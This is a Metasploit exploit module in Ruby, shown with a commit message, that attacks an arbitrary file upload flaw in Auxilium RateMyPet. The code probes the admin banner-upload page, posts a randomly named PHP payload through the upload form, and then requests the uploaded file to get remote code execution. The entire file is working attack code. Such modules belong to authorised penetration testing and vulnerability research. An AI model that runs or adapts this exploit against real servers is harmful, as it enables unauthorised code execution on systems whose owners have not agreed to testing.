sinn3r
c174e6a208
normalize_uri() should be used when you're joining URIs. Because if you're merging URIs after it's normalized, you could get double slashes again.
122 lines
3.3 KiB
Ruby
122 lines
3.3 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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require 'msf/core/exploit/php_exe'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::PhpEXE
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def initialize(info={})
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super(update_info(info,
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'Name' => "Auxilium RateMyPet Arbitrary File Upload Vulnerability",
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'Description' => %q{
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This module exploits a vulnerability found in Auxilium RateMyPet's. The site
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banner uploading feature can be abused to upload an arbitrary file to the web
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server, which is accessible in the 'banner' directory, thus allowing remote code
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execution.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'DaOne', # Vulnerability discovery
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'sinn3r' # Metasploit
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],
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'References' =>
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[
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['OSVDB', '85554'],
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['EDB', '21329']
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],
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'Payload' =>
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{
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'BadChars' => "\x00"
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},
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'Platform' => ['linux', 'php'],
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'Targets' =>
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[
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[ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' } ],
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[ 'Linux x86' , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
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],
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'Privileged' => false,
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'DisclosureDate' => "Sep 14 2012",
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base directory to the application', '/Auxiliumpetratepro/'])
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], self.class)
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end
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def check
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uri = target_uri.path
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base = File.dirname("#{uri}.")
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res = send_request_raw({
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php")
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})
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if res and res.body =~ /\<title\>Pet Rate Admin \- Banner Manager\<\/title\>/
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return Exploit::CheckCode::Appears
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else
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return Exploit::CheckCode::Safe
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end
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end
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def upload_exec(base, php_fname, p)
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data = Rex::MIME::Message.new
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data.add_part('http://', nil, nil, "form-data; name=\"burl\"")
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data.add_part('', nil, nil, "form-data; name=\"alt\"")
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data.add_part(p, 'text/plain', nil, "form-data; name=\"userfile\"; filename=\"#{php_fname}\"")
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data.add_part(' Upload', nil, nil, "form-data; name=\"submitok\"")
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post_data = data.to_s
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post_data = post_data.gsub(/^\r\n\-\-\_Part\_/, '--_Part_')
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print_status("#{@peer} - Uploading payload (#{p.length.to_s} bytes)...")
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri("#{base}/admin/sitebanners/upload_banners.php"),
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'ctype' => "multipart/form-data; boundary=#{data.bound}",
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'data' => post_data,
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})
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if not res
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print_error("#{@peer} - No response from host")
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return
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end
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print_status("#{@peer} - Requesting '#{php_fname}'...")
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res = send_request_raw({'uri'=>normalize_uri("#{base}/banners/#{php_fname}")})
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if res and res.code == 404
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print_error("#{@peer} - Upload unsuccessful: #{res.code.to_s}")
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return
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end
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handler
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end
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def exploit
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@peer = "#{rhost}:#{rport}"
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uri = normalize_uri(target_uri.path)
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uri << '/' if uri[-1,1] != '/'
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base = File.dirname("#{uri}.")
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php_fname = "#{Rex::Text.rand_text_alpha(5)}.php"
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p = get_write_exec_payload(:unlink_self=>true)
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upload_exec(base, php_fname, p)
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end
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end
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